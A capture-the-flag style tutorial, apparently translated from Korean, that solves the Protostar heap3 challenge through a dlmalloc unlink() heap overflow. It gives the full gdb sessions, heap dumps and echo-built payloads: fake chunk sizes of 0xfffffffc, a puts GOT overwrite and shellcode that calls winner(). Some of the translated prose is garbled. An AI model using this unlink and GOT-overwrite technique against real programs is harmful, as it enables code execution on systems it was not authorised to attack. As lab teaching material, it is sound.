Security_RNRF
0x25. 본문
25. The Heap: dlmalloc unlink() exploit - bin.0x18
: In the previous video, we looked at the "free()" implementation of "dlmalloc".
: We had almost found a "unlink()" macro that could be used to write arbitrary data.
: We have to think and create different styles on one same subject while studying hacking.
: Let's take a look at what a heap looks like.
-> If you assign a certain size of "chunk," the size of the "chunk" returns the second word and "malloc" the address here.
-> This means that there is this area for user data.
-> The last bit of "chunk" size has a special meaning.
-> Once "chunk" is released, the last bit of chunks can be set later.
: Let's consider this "heap" setting.
-> We have chunks that we want to release, and then there is already chunks.
-> And the free chunks have two pointers, back and forth, pointing to different fries.
-> So they're on a double link list.
-> The free algorithm that now happens will combine the two blocks into one.
-> You do this by first using the link release list to release the available blocks from the linked list.
-> And we learned what it does.
-> Bring the pointing address forward and pointer to the front of the previous chunk.
-> Then take the reverse pointing address and place it in the next mass.
-> You can then point to the global offset table and write the forwarding address when you control the pointer of the free chunks to be disconnected.
-> We stopped here on the "0x17" video and didn't check what happened next.
: Next we will increase the size of the "chunk" we already have.
-> The block is then inserted into the double-connect list.
-> It takes one "chunk" and looks for "chunk" in the future.
-> Then update the pointer to include "chunk".
-> This is the whole magic of hip.
: Let's find out about Link Release Explorer.
-> Both of the articles you're looking for include a nice little trick to overcome the limits of "null byte."
-> Thus, when configuring a fake "chunk" that can be disconnected, the field does not need to include a "null byte."
-> That is, very large values should be used for the size.
-> But it is not useful because "heap" is not big.
-> But the clever idea shown in the Frague article takes advantage of how computers deal with the negatives.
: Let's quickly see what happens with 32-bit integer values.
-> For example, a very large number, "FFFFFFFC."
-> The decimal number is "4,294;967,292".
-> Now what happens if I add "0x64"?
-> “FFFFFFC + 64 = 1 0000 0060(hex)”, 32 bit does not seem to fit.
-> If you remove the first "1" you have a very small value. It is actually "0x60".
-> It is only "4" smaller than "0x64".
-> This means adding 4 billion from "100" to "FFFFFFFC" actually minus 4 from "64."
-> And I think it's really useful.
-> This value, which does not include "null byte," behaves like a very small subtraction.
-> “+FFFFFFFC” = “-4”
: If you look at the source code again, you can make a plan.
-> First of all, we must overflow the size of the "chunk" again.
-> Try "100" like the "0x17" video.
-> But we are also not interested in the first previous attempt at integration.
-> This way, there is no need to set up another fake "chunk.
-> Therefore, we make sure that the last bit of the block to be released is set to "1".
-> As a result of checking it, it is still in use.
-> We take the next "chunk" and then check the bits in use in "chunk" and if this is not set, disconnect and consolidate the corresponding blocks.
-> That is, two fake blocks, including the front and rear pointers, are required.
-> Try to use the address "heap" to overwrite the GOT.
-> And the second chunk shall have the lowest bit set to "0".
-> But we can't use a small size value.
-> However, it is used as an added offset when looking at how the size is used in the code.
-> Codes don't check if it's a funny giant "chunk."
-> It just adds up to the price.
-> And here's where the trick starts.
-> The size of "chunk" allows the use of "FFFFFFFC", resulting in "-4".
: Now let's think about what's going to happen.
-> Obtain the size of the corresponding "chunk" and add it to the current address to find the next "chunk".
-> "Chunk" is a fool who thinks the next "chunk" is here at "-4."
-> Now read the size of "chunk".
-> It can also be set to "FFFFFFFC".
-> Set the last bit and conclude that the previous block is not used.
-> Very clever and doesn't include "null byte."
: Let's see if you can fill up the "heap" with "strcpy."
-> "strcpy" stops at "null byte."
-> That means we have to use one of them to overflow the size of the "chunk" we want to unlock.
-> Obviously we want to "prev" the set of usage bits, so we have to overflow to "0x65".
-> It works because we don't spend more than that.
-> It ends with "null byte" and keeps the size clean.
-> Another "strcpy" can be used to fill "100" bytes until it becomes a strangely combined fake.
-> Create "chunk" with "FFFFFFFC" and then write two addresses.
-> Set one address to the global offset table, as in the previous video.
-> We will overwrite "put", the other will point to the first "heap".
-> This means that code execution can be redirected to this "heap" address and the first can be used.
-> Put the shell code in here using "strcpy".
-> Disconnects record some data from the global offset table.
-> This is a "heap" area, so keep the shell code short or jump over the smashed area.
-> Subsequent use of the shell code is continued.
-> But we just want to call the "winner()" function.
: Let's form an exploit.
-> gdb heap3
-> set disassembly-flavor intel
-> set pagination off
-> disassemble main
Dump of assembler code for function main:
0x08048889 <main+0>: push ebp
0x0804888a <main+1>: mov ebp,esp
0x0804888c <main+3>: and esp,0xfffffff0
0x0804888f <main+6>: sub esp,0x20
0x08048892 <main+9>: mov DWORD PTR [esp],0x20
0x08048899 <main+16>: call 0x8048ff2 <malloc>
0x0804889e <main+21>: mov DWORD PTR [esp+0x14],eax
0x080488a2 <main+25>: mov DWORD PTR [esp],0x20
0x080488a9 <main+32>: call 0x8048ff2 <malloc>
0x080488ae <main+37>: mov DWORD PTR [esp+0x18],eax
0x080488b2 <main+41>: mov DWORD PTR [esp],0x20
0x080488b9 <main+48>: call 0x8048ff2 <malloc>
0x080488be <main+53>: mov DWORD PTR [esp+0x1c],eax
0x080488c2 <main+57>: mov eax,DWORD PTR [ebp+0xc]
0x080488c5 <main+60>: add eax,0x4
0x080488c8 <main+63>: mov eax,DWORD PTR [eax]
0x080488ca <main+65>: mov DWORD PTR [esp+0x4],eax
0x080488ce <main+69>: mov eax,DWORD PTR [esp+0x14]
0x080488d2 <main+73>: mov DWORD PTR [esp],eax
0x080488d5 <main+76>: call 0x8048750 <strcpy@plt>
0x080488da <main+81>: mov eax,DWORD PTR [ebp+0xc]
0x080488dd <main+84>: add eax,0x8
0x080488e0 <main+87>: mov eax,DWORD PTR [eax]
0x080488e2 <main+89>: mov DWORD PTR [esp+0x4],eax
0x080488e6 <main+93>: mov eax,DWORD PTR [esp+0x18]
0x080488ea <main+97>: mov DWORD PTR [esp],eax
0x080488ed <main+100>: call 0x8048750 <strcpy@plt>
0x080488f2 <main+105>: mov eax,DWORD PTR [ebp+0xc]
0x080488f5 <main+108>: add eax,0xc
0x080488f8 <main+111>: mov eax,DWORD PTR [eax]
0x080488fa <main+113>: mov DWORD PTR [esp+0x4],eax
0x080488fe <main+117>: mov eax,DWORD PTR [esp+0x1c]
0x08048902 <main+121>: mov DWORD PTR [esp],eax
0x08048905 <main+124>: call 0x8048750 <strcpy@plt>
0x0804890a <main+129>: mov eax,DWORD PTR [esp+0x1c]
0x0804890e <main+133>: mov DWORD PTR [esp],eax
0x08048911 <main+136>: call 0x8049824 <free>
0x08048916 <main+141>: mov eax,DWORD PTR [esp+0x18]
0x0804891a <main+145>: mov DWORD PTR [esp],eax
0x0804891d <main+148>: call 0x8049824 <free>
0x08048922 <main+153>: mov eax,DWORD PTR [esp+0x14]
0x08048926 <main+157>: mov DWORD PTR [esp],eax
0x08048929 <main+160>: call 0x8049824 <free>
0x0804892e <main+165>: mov DWORD PTR [esp],0x804ac27
0x08048935 <main+172>: call 0x8048790 <puts@plt>
0x0804893a <main+177>: leave
0x0804893b <main+178>: ret
End of assembler dump.
-> In each window, let's configure one string for each parameter, each "strcpy".
-> Try to deal with the "strcpy" of the middle "chunk" first. This is because one "chunk" size is overwritten with the "101" of the third chunk.
-> break *0x080488d5
-> break *0x08048911
-> break *0x08048935
-> r
Starting program: /opt/protostar/bin/heap3
Breakpoint 1, 0x080488d5 in main (argc=1, argv=0xbffff864) at heap3/heap3.c:20
20 heap3/heap3.c: No such file or directory.
in heap3/heap3.c
-> r AAAAAAAAAAAAAAAA BBBBBBBBBBBBBBBB CCCCCCCCCCCCCCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 AAAAAAAAAAAAAAAA BBBBBBBBBBBBBBBB CCCCCCCCCCCCCCCC
Breakpoint 1, 0x080488d5 in main (argc=4, argv=0xbffff824) at heap3/heap3.c:20
20 in heap3/heap3.c
-> x/56wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
-> c
Continuing.
Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffff824) at heap3/heap3.c:24
24 in heap3/heap3.c
-> x/56wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x43434343 0x43434343 # -> 0x00000065
0x804c060: 0x43434343 0x43434343 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
-> We use "echo" for it and count the number of characters needed to be sized.
-> Here in "chunk", write "0x65", which is "101".
(/tmp) -> echo -en "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x65" > B
-> The output can be redirected to the file "B" and then used in conjunction with "backtick" and "cat".
-> Then run it as a parameter of the "gdb" can investigate the "heap".
-> r AAAAAAAAAAAAAAAA `cat /tmp/B` CCCCCCCCCCCCCCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 AAAAAAAAAAAAAAAA `cat /tmp/B` CCCCCCCCCCCCCCCC
Breakpoint 1, 0x080488d5 in main (argc=4, argv=0xbffff804) at heap3/heap3.c:20
20 in heap3/heap3.c
-> x/56wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
-> c
Continuing.
Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffff804) at heap3/heap3.c:24
24 in heap3/heap3.c
-> x/56wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x42424242 0x00000065 0x43434343 0x43434343
0x804c060: 0x43434343 0x43434343 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000 # -> fffffffc
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
-> It looks perfect. The third "chunk" is now "0x65".
-> x 0x804c054+0x65
0x804c0b9: 0x00000000
-> Next, handle the third "chunk" after the overflow. Therefore, it is "100".
(/tmp) -> echo -en "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\xfc\xff\xff\xff\xfc\xff\xff\xff” -> Keep going down.
-> So we fill out letters like "100" characters to fill in "chunk."
-> In the next "chunk," we're going to write a "fffffffc" for the previous trick.
-> So we fill out letters like "100" characters to fill in "chunk."
-> In the next "chunk," we're going to write a "fffffffc" for the previous trick.
-> Then comes the global offset table address and the "heap" address.
-> x/3i 0x8048790
0x8048790 <puts@plt>: jmp DWORD PTR ds:0x804b128
0x8048796 <puts@plt+6>: push 0x68
0x804879b <puts@plt+11>: jmp 0x80486b0
-> x 0x804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>: xchg esi,eax
-> x 0x804b128-12
0x804b11c <_GLOBAL_OFFSET_TABLE_+52>: xchg WORD PTR [eax+ecx*1],ax
-> Get the table address for "put" here and subtract "-12".
-> x/56wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x42424242 0x00000065 0x43434343 0x43434343
0x804c060: 0x43434343 0x43434343 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
(/tmp) -> echo -en "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\xfc\xff\xff\xff\xfc\xff\xff\xff\x1c\xb1\x04\x08\x08\xc0\x04\x08" > C
-> \xfc\xff\xff\xff\xfc\xff\xff\xff = size
-> \x1c\xb1\x04\x08 = GOT
-> \x08\xc0\x04\x08 = Heap
-> r AAAAAAAAAAAAAAAA `cat /tmp/B` `cat /tmp/C`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 AAAAAAAAAAAAAAAA `cat /tmp/B` `cat /tmp/C`
Breakpoint 1, 0x080488d5 in main (argc=4, argv=0xbffff7b4) at heap3/heap3.c:20
20 in heap3/heap3.c
-> Continuing.
Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffff7b4) at heap3/heap3.c:24
24 in heap3/heap3.c
-> x/56wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x42424242 0x00000065 0x43434343 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c080: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c090: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c0a0: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c0b0: 0x43434343 0xfffffffc 0xfffffffc 0x0804b11c
0x804c0c0: 0x0804c008 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
-> The "heap" address is recorded at "+12" and the last "strcpy" comes the first chunk.
-> To call a "winner()" function.
-> Quickly search online assemblers to create shell codes.
-> x winner
0x8048864 <winner>: 0x83e58955
-> We'd like to page the address at all. To do this, you have to go through the register.
-> Therefore, you can move the address of the "winner" to "eax" and then call "eax".
(defuse.ca)-> mov eax, 0x8048864
call eax
-> "\xB8\x64\x88\x04\x08\xFF\xD0"
-> The string representation of this shell code can be copied and written to "A".
(/tmp) -> echo -en "\xB8\x64\x88\x04\x08\xFF\xD0" > A
-> Now there are all three parameters, so you can run the program again.
-> r `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`
r `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`
Breakpoint 1, 0x080488d5 in main (argc=4, argv=0xbffff7b4) at heap3/heap3.c:20
20 in heap3/heap3.c
-> c
Continuing.
Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffff7b4) at heap3/heap3.c:24
24 in heap3/heap3.c
-> x/56wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x048864b8 0x00d0ff08
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x42424242 0x00000065 0x43434343 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c080: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c090: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c0a0: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c0b0: 0x43434343 0xfffffffc 0xfffffffc 0x0804b11c
0x804c0c0: 0x0804c008 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
-> x winner
0x8048864 <winner>: 0x83e58955
-> "puts call" "free" and "single step" Let's try to run.
-> r `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`
Breakpoint 1, 0x080488d5 in main (argc=4, argv=0xbffff7b4) at heap3/heap3.c:20
20 in heap3/heap3.c
-> c
Continuing.
Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffff7b4) at heap3/heap3.c:24
24 in heap3/heap3.c
-> c
Continuing.
Breakpoint 3, 0x08048935 in main (argc=4, argv=0xbffff7b4) at heap3/heap3.c:28
28 in heap3/heap3.c
-> si
0x08048790 in puts@plt ()
-> (Enter Key)
0x0804c008 in ?? ()
-> (Enter Key)
0x0804c00a in ?? ()
-> (Enter Key)
0x0804c00c in ?? ()
-> (Enter Key)
0x0804c00e in ?? ()
-> We followed "heap" but strangely the shell code was wrong.
-> x/5i 0x804c008
0x804c008: sub al,al
0x804c00a: add al,0x8
0x804c00c: or bh,bh
0x804c00e: rol BYTE PTR [eax],1
0x804c010: sbb al,0xb1
-> x/56wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x0804c028 0x00d0ff08
0x804c010: 0x0804b11c 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x00000000 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x42424242 0x00000061 0x0804b194 0x0804b194
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c080: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c090: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c0a0: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c0b0: 0x00000060 0xfffffffc 0xfffffffc 0x0804b11c
0x804c0c0: 0x0804c008 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
-> You can tell it's a complete waste.
-> Here are some addresses instead of the shell code.
-> Therefore, metadata should be created for these values.
-> But we can simply point to another area of "heap" and fix it.
-> Now change the address and paste some characters in front of the shell code And try again.
(/tmp/C) -> echo -en "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\xfc\xff\xff\xff\xfc\xff\xff\xff\x1c\xb1\x04\x08\x14\xc0\x04\x08" > C
(/tmp/A) -> echo -en "AAAAAAAAAAAA\xB8\x64\x88\x04\x08\xFF\xD0" > A
-> r
-> c
-> x/56wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x048864b8 0x00d0ff08 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x42424242 0x00000065 0x43434343 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c080: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c090: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c0a0: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c0b0: 0x43434343 0xfffffffc 0xfffffffc 0x0804b11c
0x804c0c0: 0x0804c014 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
-> c
-> x/5i 0x804c008
0x804c008: sub al,al
0x804c00a: add al,0x8
0x804c00c: inc ecx
0x804c00d: inc ecx
0x804c00e: inc ecx
-> x/20i 0x804c008
0x804c008: sub al,al
0x804c00a: add al,0x8
0x804c00c: inc ecx
0x804c00d: inc ecx
0x804c00e: inc ecx
0x804c00f: inc ecx
0x804c010: inc ecx
0x804c011: inc ecx
0x804c012: inc ecx
0x804c013: inc ecx
0x804c014: mov eax,0x8048864
0x804c019: call eax
0x804c01b: add BYTE PTR [ecx+esi*4],bl
0x804c01e: add al,0x8
0x804c020: add BYTE PTR [eax],al
0x804c022: add BYTE PTR [eax],al
0x804c024: add BYTE PTR [eax],al
0x804c026: add BYTE PTR [eax],al
0x804c028: add BYTE PTR [eax],al
0x804c02a: add BYTE PTR [eax],al
-> We take a step at it and arrive at "winner".
-> si
0x08048790 in puts@plt ()
-> (Enter Key)
0x0804c014 in ?? ()
-> (Enter Key)
0x0804c019 in ?? ()
-> (Enter Key)
winner () at heap3/heap3.c:8
8 in heap3/heap3.c
-> c
Continuing.
that wasn't too bad now, was it? @ 1572614471
Program received signal SIGSEGV, Segmentation fault.
0x0804c01b in ?? ()
: Let's do it without "GDB."
-> ./heap3 `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`
that wasn't too bad now, was it? @ 1572614070
Segmentation fault
-> Success!